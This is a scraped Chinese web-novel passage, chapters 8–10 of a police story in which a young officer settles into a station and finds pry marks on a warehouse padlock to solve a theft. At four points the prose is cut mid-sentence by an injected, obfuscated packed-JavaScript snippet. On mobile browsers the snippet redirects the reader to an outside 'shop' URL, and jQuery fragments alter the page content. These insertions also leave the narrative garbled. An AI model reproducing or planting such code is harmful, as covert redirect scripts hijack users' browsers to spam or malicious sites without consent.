;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357719|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那不正好,有人专门研究,你更不用瞎琢磨了。” 吴所有点心累,见江夏还不死心,他态度更坚决了。 “这事儿就这么定了,以后不许再提!” “走,我带你去认认人。” 他决定了,自己要亲自带江夏。 必须得把她掰正喽! 得,说服不了吴所了。 江夏也没恼。 今天平白增加十点经验值,已经是意外之喜了,她又不急着卡系统bug升级,那慢慢来呗。 给她点时间,迟早能让吴所接受! 抱着警服,江夏自信满满的跟了上去。 办公室内。 周营派出所所内警员都在一个办公室内办公,今天除陈姐和小刘去核对户籍没来外,其他片警都已经到了。 吴所指着人,一个一个的说道: “胡伟和吕福生,昨天你也认识了,不用多说,这位是徐副所长,我不在所里的时候,处理不了的事儿你就找他,这个是老王,王旭光,这位是沈豁达……” “徐所好~” “王哥好~” “沈哥好~” …… 江夏一个一个的打着招呼。 “咱们所来了个优秀人才啊!” 等吴所介绍完毕,徐副所长笑眯眯的问道:“小江有对象了没?” “我姐还没有对象呢。” 江夏大大方方道:“我还年轻,先工作个几年,稳定下来后再考虑。” 徐副所长摇摇头:“得,我还想给你介绍下我侄子呢,看起来是无缘喽。” “行啦,别提你那侄子了。” 吴所指着一个被堆满文件的位置,“来小江,你就坐这儿。” 江夏转身望去。 吴所指的办公位置极好,就在他桌子右边,对面还是徐副所长。 这看的江夏有点活人微死。 两个领导在身边,这以后还怎么摸鱼? “吴所,我坐这儿不合适吧?” 江夏试图拒绝:“我看胡哥对面还有空位……” “不用,你就坐在我身边。” 吴所道:“以后我带你,这样方便。” “小江,吴所这是真看中你啊,直接就收你当徒弟了!” 徐副鼓励道:“一定要好好干啊!” 江夏微笑着,她看看胡伟脸上溢出来的羡慕,再看看吴所坚定的目光,心里没有被领导赏识的喜悦,满脑子全都是压力山大。 坏了,吴所这是铁了心不想让她搞‘研究’啊! 8. 新案子 被领导看重是好事,大不了,来日方长嘛! 江夏安慰着自己,她没有再拒绝吴所好意,而是将警服搭在椅子上,挽起袖子,收拾自己接下来要坐的工位。 她手脚麻利,三下五除二就将杂乱纸张文件分类放好。 见她动作,王旭东将自己对面无人空桌上的文件摞起来,腾出个地方,道:“小江,这边有空,你先把文件都放这边吧。” “好嘞。” 江夏将文件搬了过去,“谢谢王哥了。” 王旭东摆了摆手,“嗨,这有啥谢的。” “我去打盆水。” 胡伟很有眼力见的跑出去,很快端着盆进来,盆里还飘着块抹布。 他将抹布拧干,没用江夏动手,就将桌子上落的灰全擦干净。 不到十分钟,整个工位就算是收拾完毕。 整洁桌面上还泛着一点未干透的水光,江夏瞄了眼吴所,心中有些感慨。 被领导看重还是有好处的。 要不是看在吴所的面上,谁会这么主动的帮她收拾啊。 江夏很快调整好心态。 没法摸鱼,那能少干些活也不错。 但她很快发现,自己又想多了。 派出所远比想象中要忙的多的多的多。 大抵觉着江夏是个高材生,会使笔头,字也不错,吴所麻溜的将一摞口供放在了她的桌上。 “小江,这几份口供你按照这个格式重新整理一下。” 得,写吧。 八点整,王旭光和沈豁达带上枪,进行今日的巡逻。 江夏坐在椅子上,开始奋笔疾书。 她刚抄了一小会儿,办公室电话就响了。 徐副所长接通电话。 “幸福街有两伙人在打架?好好好,我知道了,这就带人过去!” 落下电话,徐副所长就带着人匆匆离开。 他刚走,派出所里就进来两拨人。 一拨是三个人,其中两个吵嚷着,时不时还动手推搡。 见情况不妙,吴所沉着脸上前呵止。 另一波则是个三十岁出头的男人,他拿着张纸条,对着吴所问: “吴所长,我要去豫省探亲,这是厂里批的假,您看看,能给我写封介绍信不?” 接过纸条,吴所看过上面的厂子和公章,扭头对江夏喊道: “小江,有人来开介绍信,你照着我桌上的写一份拿过来!” “好。” 江夏停笔,她找出吴所桌上的介绍信,对男人招了下手,“同志,请过来说下具体地址和身份信息。” 介绍信还没写完,又有四个人呼啦啦进来。 吴所处理着,口中喊个不停。 “小江,等会儿他们写个借条!” “小江,公告赶快抄一下,要到时间了!” “小江……” “小江……” …… 一个上午,派出所接了七八个出警电话,来了好几波人,人最多的时候,简直比菜市场还要热闹。 中午。 所里总算消停下来。 江夏甩着写到发麻的胳膊,伸手抹了把脸。 吴所说的还真没错,派出所鸡毛蒜皮的小事儿是真多。 自己还想摸鱼……哈哈,她一上午就没停下来的空! 不只是她,所里所有人都忙的团团转,连吕福生这家伙都没闲着,给人调解纠纷。 就是江夏总觉着那家伙在趁机摸鱼。 “累的不轻吧?” 其他警察已经陆续回家吃饭,出警回来,留下值班的胡伟端着饭盒,走到江夏身边,他边扒拉边道: “我也没想到所里能这么忙,还是忙着一个事又来一个事,刚来那几天别提了,手忙脚乱的,全是岔子!” “不过你就不一样了。” 胡伟憨厚一笑,“我看你停停续续的写了一上午,写出的东西吴所看完都说行,真是这个!” 说着,他比了个大拇指。 “没啥。” 正常人最顺手的是一直干同个活,频繁被打断只会越忙越乱,新手更是会搞的一团糟。 但江夏又不是新手,她前世做老师,经常遇到这种情况,处理起来自然得心应手。 可惜这不会让江夏高兴。 因为这只能证明,她已经是个成熟的牛马,还是会主动拉磨的那种。 真是个令人悲伤的结论。 “你这也太谦虚了。” 胡伟坐在椅子上,兴奋道:“昨天我见你破案的时候想说你厉害了,怼的吕福生屁都不敢说,你不知道我多烦这家伙指使人,哎江夏,警校生都像你这么厉害吗?” “也不都是,我这方面学的比较好。” 一个好汉两个帮,她想在所里过的更好,只有吴所支持可不够,得多交几个朋友,胡伟和她算同期,又主动过来示好,江夏自然要接下这橄榄枝。 她反问道: “吕福生这家伙什么来头,能摆这么大谱?” “关系户呗。” 胡伟撇撇嘴,“不过也没多厉害关系,家里花钱送进来的,谁都不敢得罪,就逮着新人发官威了。” “我说呢。” 江夏点点头,一点也没意外。 这猜测和她昨天想的差不多。 “他也就仗着年龄大,在所里倚老卖老,你看老警谁鸟他。” 胡伟一拍大腿,相见恨晚道:“就是啊!” 背后蛐蛐同一个讨厌的家伙,极其容易拉进感情,江夏很感谢吕福生的贡献,现在胡伟看她的眼神简直就像是在看战友。 想起昨天大姐托的事儿,江夏问道: “对了胡哥,你知道咱们这片区,或者周围哪里有摆摊的吗?” “有啊,幸福街就有人卖菜。” 胡伟道:“不过那边菜贩子经常打架,还有扒手,你最好别一个人去。” 这么危险? 江夏微微皱眉,“有没有安全点的地方?” “安全?” 胡伟很快反应过来,他微微沉吟,“这个我还真不知道,不过我有几个同期分别的所里了,不急的话,我回头给你问问。” “那感情好。” 这可比她慢慢打听快多了,而且以后也能有个照应,江夏舒了口气,道:“等我工资发了,我请你们吃饭啊!” “一句话的事儿,不用。” 胡伟豪气的摆手,刚摆一半,就停了下来。 他收回手,在身前交叉,有些不好意思的开口,“那个江夏,你警校学的什么步伐追踪能教教我不?我也挺想破个案啥的……” “行啊。” 江夏答应的很是爽快,“正好我有书,明天就能带来给胡哥你看。” 所里这么忙,她还挺期待所里有人主动多学点呢,多学点好干活啊! “那真是太好了!” 胡伟一喜,他拍着胸脯道:“以后有啥杂活你找我就行,我别的不行,就有把子力气!” 一番交流下来,江夏和胡伟也熟络起来。 第二天,她就将步伐追踪,连同刑事侦查课本都拿了过来。 课本包着书皮,步伐追踪是手抄书,两个都包着书皮,一看主人就十分爱惜。 胡伟特地洗了手。 他是军转警。 当警察的,谁没个破案的梦呢。 还是新人的胡伟梦想更强烈。 尤其是前天他见江夏在董爱华家破案,那冷静寻找线索的姿态,那侃侃而谈的自信模样,简直是帅到爆了! 他也不多求,能有对方一半水准就行。 毕竟自己没上过警校,但他入伍前也读到初二了,班里考试还拿了前几。 有这份基础在,自己怎么都不会太差吧? 大清早的,所里其他人还没来,趁着还有空闲,胡伟自信的打开了最感兴趣的步伐追踪。 他随便翻了一页,准备大致浏览一下。 工整的字迹印入眼帘。 立体足迹分析身高计算公式,身高=(赤足长-立体与平面之差)×体足比系数。 其中,鞋印长度求赤足差计算区别…… 立体与平面差计算方式…… 体足比系数区别…… 看着看着,胡伟的表情逐渐僵硬。 怎么这些汉字他都认识,但排在一起,他就看不懂了呢? 顶着不断增加的晕眩,胡伟坚强的向后看去。 隶属公式:P?(U?)=1-[(X??-X??)÷100+(X??……… 胡伟逐渐陷入沉默。 他忽然发现,看这些字母的时候,把眼睛闭上会很舒服。 吴所走进了办公室。 他正准备拿茶杯倒水,一扭头,就看见胡伟坐在椅子上,身体向后靠着,两眼紧闭,好像彻底睡死过去。 嗯??? 大清早的睡什么觉? 他走过去一看,就知道这书肯定是江夏给的。 都是正经课程,吴所就没多说什么,只是也没忍住好奇,翻着看了几眼。 然后他就默默的把书合了起来。 不行,这玩意他看也犯困! * 几天的时间一晃而过。 今天江夏负责中午的值班。 她运气很好,整个午休时间没接到电话,也没人上所里办事,算是吃了顿安稳饭。 办公室内。 年龄较大的吴所有点撑不住,将四把椅子排在一起,躺在上面午睡。 江夏精神尚好,不过为了下午的工作,她还是从吴所抽屉里拿出茶叶,准备泡杯茶喝。 这几天下来,她的工作也算是固定了,现在主要负责抄写,不忙时就跟着吴所学学调解,整体上得心应手,还能抽空练练系统加点后的技能。 之前撬锁涨的二十点经验值,全都被她加在了码踪术上。 这让她大脑不仅多了数种更详细的计算方程和大量案例,视力和空间感知都强了不少。 从墙角的热水壶中倒满水,江夏端着茶杯,边吹边往回走。 胡伟还坐在桌前,哗啦哗啦的翻动着印着裸足的纸张。 这是他这几天从身边收集来的素材,用来做最基础的练习。 他还没有死心,还在死磕步伐追踪。 真是不学不知道,一学才知道自己当初有多狂。 他和江夏的差距,那简直是一个天上一个地下,别说一半了,就努力学上几年,能有对方十分之一,那都得偷着乐。 算完数值,见江夏路过,胡伟还是忍不住问道:“哎江夏,你看这个足迹数据多少?” 江夏瞄了几眼,吹吹茶杯,随口道: “男,身高176至178,年龄33至35,体重74千克上下,这人挺健硕啊。” 这结论出的太快,胡伟愣了下,按着纸上序号去看记录。 全对。 “不是,江夏你连精算尺都不用,看一眼就知道长度了?” 再看看自己算了二十多分钟才得出的数据,胡伟忍不住哀嚎:“区间还能定这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357720|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窄,你究竟怎么做到的?我光一个身高能算在六厘米以内都是好的了!” “步态特征很明显,足跟和足弓有偏外压,起足有抠痕,拇指压痕也长,是高个,不用再减尺寸。” 江夏解释道:“至于年龄,那重心不明显向二趾偏移了三分之二嘛,换算一下就是三十四上下。” 听着江夏的话,胡伟重新低头看向纸张。 那上面的足迹黑漆漆的,好像和所有脚印都没啥区别,必须努力辨别,才能看出来重心向二趾偏移,但根本看不出具体偏移多少。 再抬头,胡伟看江夏的目光像是在看神仙。 不是,你这眼睛到底是咋长的?! 江夏淡定的呷了口茶。 基操,勿6。 她现在码踪技术等级虽然在LV2,但技能条其实已经涨到了52%,远比普通资深刑警强,已经开始向LV3的专家水准靠近,看个完整裸足得结论,完全就是小意思。 比起技术,江夏更关注她的视力的提升。 她能看清楚更细微的变化了。 打个不恰当的比方来说,以前她只能看出留下的鞋印大概有个三四毫米厚,现在能精准判断出是三点四毫米,脚后跟边缘五六毫米是拧拖痕迹。 非常的变态。 这就是大佬眼中的世界吗? 而且江夏觉着,自己这提升的视力,应该不止能用在看鞋印上。 就是还能看什么,她暂时还没想好。 “叮铃铃——” 所里的电话突然响了。 “电话!” 还没等江夏去接,躺着睡觉的吴所猛的坐了起来,带的椅子向后一倒,‘咣当’撞在墙上。 坐在椅子上,他抹了把脸,问道:“小江,什么情况?” “我这就问。” 江夏拿起听筒,“喂,这里是周营派出所。” 听筒传来声响,是个中年男声,语气急切,“我是被服厂保卫科刘科长,请问吴所长在不在,有急事儿找他,十万火急!” “被服厂?那不是隔壁辖区的吗?找我干什么?” 吴所面带疑惑,他走到江夏面前,接过听筒,“我是吴镇国,刘科长找我什么事儿?” “大事儿!” 电话那头的刘科长语速极快的说道: “我们厂子今天出货,发现库里丢了整整四大包床单枕套,市价一千五百多块钱呢,现在急的人头都要炸了!” “我上报市局,市局说有急事,暂时过不来,有刑警说可以先请您过来看看,我没办法,只能把电话打吴所您这里了!” 好嘛,这肯定是陈栋出的馊主意! 吴所立马反应过来。 他抬头看向江夏。 陈栋这滑头,哪里是让他去看看,分明是想让江夏去,又怕江夏年轻压不住,才让刘科长来请他的。 江夏同样想到了这层。 她兴奋起来。 新案子哎! 干了这么多天文员,总算又碰到个新案子了! 快,师父快答应!答应她下午就能出去放风了! “嗯……” 吴所沉吟片刻,答应道:“行吧,保护好现场,我这就带人过去看看。” “师父我去拿工具!” 见吴所答应,江夏麻溜的跑出了办公室。 “我这还没说你去……” 吴所无奈的摇摇头,“算了。” 毕竟他去也没多大用啊。 一分多钟后,江夏回来了,身上还多背了个绿色的斜挎包。 “走吧。” 一路无话。 被服厂距离略远,骑车得半个多小时才到。 到达时,已经是开始上工的点,被服厂大门口已经没有工人进出,只有个身着橄榄绿上衣,蓝裤子的中年男人站在门口,正左右不停的张望。 江夏远远的一看,就确定他就是刚才打电话的刘科长。 “哎呀,吴所长您可算来了!” 还没到门口,刘科长就主动迎了上来,握住吴所的手就热情的上下摇晃起来, “您不知道,这丢的都是今天要交付的货,现在差那么大一笔数,厂领导和供销社都没法交代啊!” “明白明白,大家都不容易的……” 吴所长安抚着,江夏适时插话道:“刘科长,您能交代一下具体情况吗?” 刘科长这才注意到江夏。 新警察,面容年轻的过分,很难不让人轻看。 可人是吴所带来的,又问自己正急的事,他也就没说什么。 “哎,你看我这都急糊涂了。” 拍了下脑袋,刘科长转身道:“走走走,我带你们去仓库。” 他边走边说起情况。 “昨天我们厂的王会计还带人盘过库,当时还是没问题的,今天上午十点多出库的时候,才发现对不上。” “管仓库的老肖是早晨八点半来的,他说仓库一切正常,门关着锁锁着,窗户玻璃也没坏,他开了之后就在门口,没人进去过。” 说道这里,刘科长微微停顿了一下,又道: “我们又问了早来路过的女工,她们也说门锁玻璃都没事儿。” 江夏汇集着信息,鉴于只是刘科长口述,有主观部分,她没有全信,只是从对方的倾向性中反问道: “所以,刘科长怀疑是内部人员作案?” 刘科长摇摇头,脸色犯难,“要是真这样就好了!” 咦? 江夏挑眉。 居然还有反转? 9. 窝要验牌,不,验锁 “这事说起来也是头大。” “您也知道,这种小偷小摸的案,我们保卫科能直接处理。” 说着,刘科长拿出了烟,递给吴所,继续道:“这货呢,应该是昨天晚上丢的,不惊动看守还门窗锁都没事,那肯定是内鬼拿了钥匙干的。” “我们厂有仓库钥匙的不多,除领导外,就三个人有,分别是看仓库的老肖,车间组长周红霞,以及财库科的陈辉。” “老肖家里不富裕,他生了五个儿子,日子紧巴不说,三个小的也到处偷鸡摸狗。 周组长呢,手脚有点不干净,经常把车间里剩的碎布往家里拿。 财务科的陈辉……虽说没见过他拿什么,但这人平日花钱大手大脚,新衣服皮鞋季季换不说,前个还买了个照相机,花费和收入严重不符。” “吴所你说说,这三个哪个不可疑?” 听到这里,江夏不由得微微皱眉。 刘科长的怀疑乍一听好像挺有道理,可除老肖的儿子嫌疑较大外,另外两位的动机并不充足,完全就是疑邻盗斧。 这么怀疑,那江夏明白他为什么这么焦头烂额了。 吴所也想到了这点。 不过这是事后诸葛亮了,换他来,他第一反应也是怀疑内鬼和这三个人。 谁让案发现场和情况都那么可疑呢。 接过烟,吴所将他夹在耳朵上,十分理解道:“审完什么都被问出来吧?” “何止啊!” 说到这里,刘科长面上满是苦闷,“都是一个厂子的,我也不敢多做,就问上两句,可他们就都炸了。” “刚才周组长指着我鼻子骂,说就是废布头而已,大家都拿,怎么货丢了屎盆子就往她头上扣? 老肖年龄大了,气一上来,人直接昏过去了,现在才缓过来,家里人过来嚷嚷一家子就住那点地方,周围左邻右舍的,夜里出个门谁都知道,怎么货就成他们偷的了? 至于陈辉,他说自己昨天晚上去了夜校,就在学校睡的,好几个人能给他证明,绝不可能来偷厂里的货。” 说到这里,刘科长长长地叹了口气。 “实话说,他们的话也有道理,可就他们有钥匙,没丢又没被别人拿过,不是他们,那还能是谁干的?” 那可不好说。 江夏觉着这刘科长已经开始转牛角尖了,不过口说无凭的,争论起来也没意义,索性顺着道: “所以刘科长你没法确定货就是他们偷的,他们也没法证明自己没和外人勾结,情况僵在这儿,那可不是一个头两个大嘛。” “就是这么回事!” 刘科长激动的一拍大腿。 还别说,这吴所带来的片警虽然年轻,但人机灵啊,话直接就说到了他心坎里。 “要不老话说捉贼捉赃呢,实打实没法狡辩!可惜我们这发现的太晚,没当场捉住,那再查也查不出什么东西。” 刘科长扭头看向吴所,“我们是真不行,接下来就靠您了。” “你放心,” 吴所说着官话,“我们肯定尽力。” 他心里也没什么底。 这案子棘手,比董爱华家的难多了,他也没什么好思路,只能先看江夏能找点什么线索出来。 可听刘所的意思,案发现场估摸着破坏的挺严重,她还真不一定能找到什么来。 得提前想想一会要是什么都发现不了,那该怎么说? 真是被陈栋这家伙坑死了! 说话间,仓库到了。 被服厂仓库是新盖的,单层的水泥大平房,光长就二十多米,大门开在正中间,门对面就是被服厂的外墙。 那外墙两米多高,还刷了一层白漆,看起来极其气派,就是风吹雨临久了,略微留了些轻微的竖排泥痕。 抹了把头上的汗,刘科长叹了口气,他期待的看向吴所:“失窃的就是这个仓库,老肖他们在隔壁等着,您是打算先问还是?” “不急。” 吴所微微摇头,他看向江夏,问道:“小江,你现在有什么想法?” “我得先看看现场。” 站在大门口,江夏长长的叹了口气。 即便心里已经有了准备,可面对仓库大门后杂乱到完全无法辨别的脚印,她还是有点心梗。 如今办案,最有效的三板斧就是足迹、指纹和摸排审讯。 而她最擅长的也是码踪。 可偏偏案发现场进进出出那么多人,原有足迹全被破坏,码踪根本用不上! 这简直比打巅峰赛,结果最擅长的英雄被禁了还要让人难受。 奥对,英雄还是队友误禁的哦。 这更让人心梗了啊! 蒜鸟蒜鸟,破案要紧。 江夏打起精神,走进仓库。 大量打包好的货堆印入她眼帘。 货堆有十多个,大大小小的,里面的货物外形都一样,都是长方形,长度大概有一米多,高半米,由土褐色的麻布包裹着,再用绳子绑紧,乍一看像超大型的炸.药包。 江夏试着提了提放在边缘的货包,那重量极沉,感觉能有个一百多斤。 “刘科长,丢的四包货也是这种吗?” 刘科长点头道:“对,我们厂都是打包成这个样子,这样好装车。” 这么沉的货,丢了四包,那可不是一个人能搬走的。 窃贼应该不止一个,或许还有运输工具。 心中勾勒着窃贼画像,江夏放下手,忽见面前货堆中,有一个包上写着4-13。 她向后走,见另一个货堆也有个包上写着数字,是3-30。 再往右看,右边货堆上也有数字,是4-27。 这编号很像日期啊。 江夏若有所思,她出言问道:“刘科长,这些货物是不是一堆发一个地方?时间也不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357721|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “哎?” 刘科长有些惊讶,“你怎么知道的?” “看数字猜的。” 江夏继续问:“厂里知道这个的有多少?” “那海了去了,厂里差不多都知道。”刘科长脑中隐约闪过一个念头,却怎么也说不出来,只能问道:“你问这个干啥?” 江夏眨了下眼。 这信息厂里都知道,那内鬼参与的作案,怎么会选中今天就发走的货物? 偷的时候太慌了? 有可能,但慌到这种程度,那可怎么能走时又把门关好锁上锁? 行为反常,有问题。 江夏继续问,“刘科长,昨天丢的货是哪堆?” 刘科长伸手指方向,“在那儿,那个搭着样品的柱子旁边。” “这床单和丢的货是一样的?” “对。” 江夏走过去,刘科长指的位置离大门挺远,靠着墙,是个挺不起眼的角落,不过已经被工人搬空了,只剩下一块淡红色的大印花床单搭在旁边的绳上。 她扫了眼地下,果然,脚印也杂乱的无法辨认。 转完整个仓库,江夏回到吴所身边。 见她模样,吴所若有所思。 “有收获?” “有点。” 江夏摊手:“但老问题,没证据。” 她怀疑刘科长的判断有误。 能避开看守和巡逻,又不破坏门窗和锁的情况下进入仓库,盗窃后再进行复原,多数情况下,的确是内鬼作案。 但如果真是内鬼作案,肯定要选个时间久点的货堆偷,不然昨天刚偷完,今天就被人知道,那不是上赶着被抓嘛。 而大门口和中间有好几个四月份才发货的,什么内鬼会跑那么远选明天就要被装走的? 只有外来惯偷不清楚规律,想着拿里面的不会被发现,才能干出这样的事。 而惯偷通过长时间踩点,也能避开厂里夜间的看守与巡逻,通过撬锁进入仓库盗窃,离开时再将门锁复原。 推论说得通,但江夏没有开口。 全凭嘴说,没有证据,已经判定这就是内鬼作案的刘科长肯定不会信。 江夏沉吟着。 区分这两者的关键,在于进入方式。 内鬼作案,用的是钥匙。 惯偷用的则是其它作案工具。 只要证实使用工具,那就能证明自己的推论没错。 那怎么证实窃贼使用的工具呢? 江夏抬头看向大门。 我要验牌,啊不,验锁! 她从包里拿出手套戴上,小心将大门上的挂锁了拿了过来。 看她动作,吴所眼皮瞬间一跳。 怎么又是锁? 他连忙道:“江夏,你光看就行啊!” 你可千万别在刘科长面前再来个铁丝开锁,不然他可解释不清楚! 10. 流窜作案 江夏一怔,随即便反应过来,整个人都有些哭笑不得。 她那次拿铁丝撬锁到底给师父留了多大的印象,以至于现在看到锁就怀疑她想开? 这可是物证,她怎么会乱动。 她只想在所里开新锁…… 走到仓库大门后仓管的桌上,江夏边将中间放的档案本往边上推边道: “师父,我就想检查下这锁有没有问题。” 说着,她将锁轻轻放在桌中央,又卸下单肩背包,从中拿出马蹄镜和手电筒。 闻言,吴所松了口气,可气还没松完,就看见江夏拿出来的东西,人又瞬间绷紧了。 “所里这点金贵的家当你都拿来了?” 他拉开包,见里面还有精算尺胶带刷子和小罐铝粉等物,极为心疼道: “你小心点用,这些坏了可难补着呢!” “肯定小心啦师父。” 江夏答应着。 这些工具以现代的眼光来看,简直简陋到没边,可在如今,个个都是金贵物件,光一个手电筒,就值她半个月工资,可得小心着用。 坐桌后的凳上,江夏调整了下状态。 她拿起马蹄镜,看向面前的大锁。 这也是把挂锁,不过体型更大,长度在七厘米出头,使用时间较长,已经有些掉漆,但通身完好,没有看出明显的撬锁痕迹。 江夏心中了然。 难怪刘科长会坚信是内鬼干的了。 如今信息不发达,多是蠢贼,笨贼居多,部分能学到的无声□□的,也多是用两个扳手平行放在锁环内,利用杠杆原理强行将锁撬开。 不过这样撬锁,会让锁孔边直接崩烂,痕迹十分明显。 而这把锁锁孔边缘完整,能正常锁上,任谁看,第一时间都会怀疑是用钥匙开的。 当然,就算怀疑铁丝撬锁,常人也很难从锁孔上看出痕迹。 但她可以。 系统升级后的眼力,就是这么任性! 江夏打开了手电筒。 正中午,本该是艳阳高照,可今天的天色却有点昏沉,云压压的,窗户狭窄的仓库内更显暗沉。 好在,江夏要的就是暗。 她用手电筒照着锁,用马蹄镜小心观看着起锁上的细微痕迹。 刘科长看着江夏的动作,忽然觉着有点不对味了。 刚才吴所问江夏,他还以为是师父带徒弟呢,怎么这一圈下来,全是她在问在查,吴所连动都不动的? 这陈警官推荐的吴所到底是行还是不行? 空气中的湿闷浸的人越来越燥,刘科长好几次欲言又止,最终还是忍不住开口: “吴所,您就在这儿等着?” 吴所点头,理所当然道:“就这儿等着。” 刘科长脸有点泛绿了,“您这,这也太——” 吴所笑了,他还不明白刘科长心思?指着江夏就道:“这可是山南警校毕业的高材生,我就说了吧,陈栋那小子就是让她来看看的!” “啥?” 刘科长愣了一下,陈警官是让她来的? 他看向江夏,眼中的怀疑更重了。 高材生是有本事,可江夏这么年轻,能有多少经验? 怕不是根本查不出什么吧! 陈警官也真是添乱,这丢货的事儿是不大,比不上最近新出的劫杀案,可也不能让个年轻人来糊弄啊! 江夏完全不知刘科长正在心底抱怨。 她正全神贯注的查看挂锁。 无伤开锁的手法并不止铁丝这一种,磁铁撞击、有技巧撬锁梁也能做到。 而后者痕迹多在表面,直接观察即可,但看铁丝撬锁留下的痕迹,需要察看锁芯,得把它拆出来才行。 这无疑会对锁造成二次破坏,很容易毁掉窃贼的痕迹。 江夏需要先排除掉后几种可能后,再进行这种破坏性查验。 她手持着马蹄镜,镜片下,被放大数倍的锁面纹理清晰可见,系统增强后的视力让她清晰分辨出锈痕,脱落的漆痕,以及那些与门撞击留下的灰色划痕与撞击后留下的绿色漆点。 江夏调整着手电筒照射的角度。 一些特殊角度的灯光能够让细微的划痕更加清晰。 她看过锁面,锁侧,均未发现异常,直至来到锁梁内侧,一道大概两毫米多长的划痕引起了她的注意。 这划痕泛白,无任何漆点,反而有点泛银光,明显是新出现,且不是门环撞击留下的痕迹。 难道? 江夏精神一振,立马向锁梁下方找去。 根据撬压原理,一次翘压会留下两处痕迹,也就是支点和施力点,这里明显是施力点,那肯定还得有个支点! 果然,江夏从锁身上方靠左的位置找到了类似的痕迹! “确定了,这是撬锁!” 江夏抬起头,声音中带着几分喜悦,“这货不是内鬼偷的,是外来的惯偷!” “什么?” 看锁需要时间,刘科长等的心烦的,索性蹲到大门外吸烟去了,突然听到江夏这么一句话,手瞬间抖了下,还剩的半截烟也来不及抽,直接往地上一扔一踩,急匆匆就跑了回来。 他急促问道:“不是钥匙开的?真假,你不是在唬我吧?!” “虽然痕迹很小,但能看出来是撬压痕迹,在锁梁上方内侧与锁身顶左边,这个窃贼应该是用两个扳手,或一扳一钳,竖着卡在锁梁中间,向上施力,慢慢顶开的锁,所以才没有明显损伤。” 江夏说着,手模拟着罪犯的撬锁的动作,虚握着扳手向下压: “您不信的话,可以过来看看,而且除了锁之外,还有一点很可疑,如果是内鬼作案,为什么会挑今天就发货的货堆?这不是上赶着让人知道东西丢了赶紧抓他们吗?” 刘科长不发一言的拿过马蹄镜,观看那两个细微的撬痕。 好一会儿,他才抬起头,神色颇为复杂。 有点被否定破案方向后的羞恼,又有些许果然如此的释然。 他轻叹一声。 “实话说,这痕迹我也看不太懂。” 将马蹄镜放下,刘科长道:“不过江同志你的话也有道理,也是我犯蠢,谁说锁一定得用钥匙开?这下我可算冤枉好人了!” 他停顿了一下,又对着吴所道:“你这徒弟也是真厉害,那痕迹还没有小米粒大,不说我都看不见,她居然能认出来是撬痕?” “要不怎么说是高材生呢。” 徒弟被夸,吴所也有些自得,随即又安慰道: “正常,正常,咱们不都是这么查案的嘛,问问也没啥大事,现在查出来了,也还他们清白了嘛。” “也是。” 刘科长又叹了口气:“可是外来惯偷的话,这案子就不太好查了啊。” “这惯偷不一般。” 提及案子,吴所表情也严肃起来,“会的多,胆子也大,偷前就想着走时要怎么善后,不知道偷多少次才能这么熟练,大概率是流窜作案,不好抓啊。” 刘科长听懂了吴所的潜台词。 厂里丢的货很难追回了。 毕竟流窜作案的贼,往往今天还在本地,明天就不知道去哪儿了,这就算查出来,也抓不到人,更别说找回来丢的货。 知道归知道,可刘科长还是有些不甘心,他看向江夏,“江同志,你看看还能继续查不?总不能不好抓就不查了啊!” “我尽力吧,能查多少就查多少。” 江夏也没法打包票,她站起身道:“咱们先去外面看看还有没有线索。” 刘科长连连点头:“我也让小张去问问这几天厂周围有什么可疑的人! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357722|199697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 做为经警,刘科长基本素养还是有的,方向一对,不用江夏提醒,他就知道要查什么。 保卫科的小张带着人去问,与此同时,江夏则走到了外墙边,仔细分辨着上面的痕迹。 大门有人看守,窃贼肯定是翻墙进来的,说不定会在墙边留下些有用的痕迹。 一整排的墙面全是灰白,上面留下的泥痕痕迹看起来毫无区别,但在江夏眼里,却各有变化。 这几串直直向下是雨水冲刷导致的,那几道向右斜的是北风刮的,地下的点状痕迹是前个儿被人泼了泥水…… 分辨着,江夏很快在墙头找到了几处新鲜的擦痕。 这是布包摩擦后留下的痕迹! 